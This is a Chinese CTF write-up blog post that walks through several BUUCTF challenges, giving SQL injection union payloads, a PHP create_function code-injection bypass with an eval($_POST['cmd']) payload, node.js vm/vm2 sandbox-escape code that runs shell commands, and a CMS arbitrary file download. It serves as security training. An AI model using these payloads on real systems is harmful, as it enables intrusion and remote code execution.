BUUCTF刷题(1)

October 2019 Twice SQL Injection

如题所见是个二次注入,

在info中输入 1' or 1=1#得到

1' union select database() #作为用户名注册进去得到

接下来直接手注入就好。

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

1' union select group_concat(column_name) from information_schema.columns where table_name='flag' #

1' union select flag from flag #

[BJDCTF2020]EzPHP

查看源代码有

base32解密得到 1nD3x.php进入得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

其中的知识点还是挺多的

首先是

1
2
3
4
5
if($_SERVER) { 
if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

这部分的考察点在于

查询语句是原生的http中url部分,可以url编码绕过

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

这部分就是

preg_match()函数的普通模式下的%0a绕过

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

这部分很显然就是

如果POST和GET传相同名字的参数的结果:因为POST的优先级比GET高,如果参数名相同,最终$_REQUEST中的值应该是POST里那个参数

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

data伪协议直接绕

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

经典hash,数组直接绕

利用extract($_GET["flag"]);进行变量覆盖,控制$code$arg

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

然后就是在这里,ban了一万个函数,但是我们还有 creat_function(),我们可以先用get_defined_vars()把能看到的都看了。

变量$code和变量$arg可控,可以使用create_function()代码注入。

$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于:

1
2
3
function myfunc($a, $b){
return $a+$b;
}

若$b对传入的值没有限制,则可以使用$code=return $a+$b;}eval($_POST[‘cmd’]);//该payload构造命令执行,也就是:

1
2
3
4
function myfunc($a, $b){
return $a+$b;
}
eval($_POST['cmd']);//}

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

// 等价于

1
2
3
function{
}
var_dump(get_defined_vars());//}

然后你就可以得到一个假的flag😅还有hint

然后就是,这里是要使用

require+PHP伪协议文件包含,取反绕过。

随便写(抄)一个取反脚本

1
2
3
4
5
6
7
<?php
$a = $_GET['a'];
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
echo "%".bin2hex(~$a[$i]);
}
echo ")";

得到flag

[HFCTF2020]JustEscape

不知道是啥语言,测一下

结合题目是node.js的vm沙箱逃逸

vm沙箱逃逸

什么是沙箱?

对于node.js而言,沙箱和docker容器其实是差不多的,都是将程序与程序之间,程序与主机之间互相分隔开,但是沙箱是为了隔离有害程序的,避免影响到主机环境。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 创建一个沙箱环境
const sandbox = {
result: null, // 沙箱中的变量
alert: window.alert, // 允许访问 alert 函数
console: {
// 仅允许访问 console.log 函数
log: window.console.log
}
};

// 沙箱中的代码
const sandboxCode = `
result = 'Hello, World!';
alert('This is an alert'); // 允许执行
console.log('This is a log'); // 允许执行
window.open('https://www.example.com'); // 不允许执行,被沙箱限制
`;

// 在沙箱中执行代码
function runSandboxCode() {
try {
// 创建一个新的函数,并在该函数的作用域中执行沙箱代码
const sandboxFunction = new Function('sandbox', sandboxCode);
sandboxFunction(sandbox);

// 访问沙箱中的结果
console.log(sandbox.result); // 输出: Hello, World!
} catch (error) {
console.error('Error occurred in sandbox:', error);
}
}

// 执行沙箱代码
runSandboxCode();

VM

vm是用来实现一个沙箱环境的一个模块,可以安全的执行不受信任的代码而不会影响到主程序。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 创建一个VM沙箱
const vm = require('vm');
const sandbox = {
result: null, // 沙箱中的变量
alert: function(message) {
console.log('Alert:', message); // 允许访问alert函数
},
console: {
log: function(message) {
console.log('Log:', message); // 允许访问console.log函数
}
},
// 限制访问的全局对象
window: undefined,
document: undefined,
XMLHttpRequest: undefined
};

// VM沙箱中的代码
const sandboxCode = `
result = 'Hello, World!';
alert('This is an alert'); // 允许执行
console.log('This is a log'); // 允许执行
window.open('https://www.example.com'); // 不允许执行,被沙箱限制
`;

// 在VM沙箱中执行代码
const script = new vm.Script(sandboxCode);
const context = new vm.createContext(sandbox);
script.runInContext(context);

// 访问沙箱中的结果
console.log(sandbox.result); // 输出: Hello, World!

逃逸

事实上,我们可以通过构造一些东西来逃逸VM沙箱。

逃逸例子:

1
2
3
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

上述代码可以获取主程序环境中的环境变量。

可以将上述例子的代码等价转换为以下代码:

1
2
3
4
5
6
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

在创建vm环境时,首先初始化了一个名为sandbox的对象,它是vm脚本执行时的全局环境context。而在vm脚本中,全局this指向这个对象。

由于this.constructor.constructor返回一个Function constructor,因此可以利用Function对象构造一个函数并执行(此时Function对象的上下文环境是主程序中的)。构造的函数内部语句为return this.process.env,结果返回了主程序的环境变量。

结合chile_process.exec(),可以执行任意命令:

1
2
3
4
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

回到这个题

可以直接利用VM沙箱逃逸的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

这段代码利用了一些技巧来完成沙箱逃逸:

  1. 使用VM模块中的VM类来创建一个沙箱环境。
  2. 构造了一个字符串untrusted,其中包含一个自执行函数。
  3. 自执行函数中进行了以下操作:
    • 添加一个新的方法get_processTypeError.prototype对象上,该方法返回process对象。
    • 尝试在一个被阻止扩展的Buffer对象上设置属性a,如果抛出异常(catch块),则执行异常处理逻辑。
    • 在异常处理逻辑中,调用e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString()来执行命令whoami并返回结果。
  4. 使用new VM().run(untrusted)在沙箱环境中运行untrusted字符串中的代码。
  5. 如果在沙箱环境中抛出异常,则捕获异常并输出。

通过在自执行函数中添加方法到TypeError.prototype对象,并利用被阻止扩展的Buffer对象触发异常,代码成功获取了process对象并执行了命令whoami,最终输出了结果。这样就完成了沙箱逃逸。

而这个题实际上,还是有一些过滤的,所以需要进行一些替代与绕过

1
2
3
4
5
6
7
8
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()

打进去了

结束。

[GXYCTF2019]StrongestMind

这个题……

随手写(抄)一个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
import time

url = 'http://24f90785-a604-4d03-8549-b8035b8cda61.node4.buuoj.cn:81/index.php'
session = requests.session()
req = session.get(url).text
flag = ""

for i in range(1010):
try:
result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>",req)#获取[数字]
result = "".join(result)#提取字符串
result = eval(result)#运算
print("time: "+ str(i) +" "+"result: "+ str(result))

data = {"answer":result}
req = session.post(url,data=data).text
if "flag{" in req:
print(re.search("flag{.*}", req).group(0)[:50])
break
time.sleep(0.1)#防止访问太快断开连接
except:
print("[-]")

[GKCTF 2021]easycms

题目都告诉你了cms

直接去admin.php路由进入后台,admin/12345登入

尝试导出主题,并且bp拦截包

抓到下载包,发现base64加密的一串

L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMTIzLnppcA==

解密得到/var/www/html/system/tmp/theme/default/123.zip

存在任意文件下载漏洞,下载/flag

GET /admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

  • 歇了 2023/10/4 17:15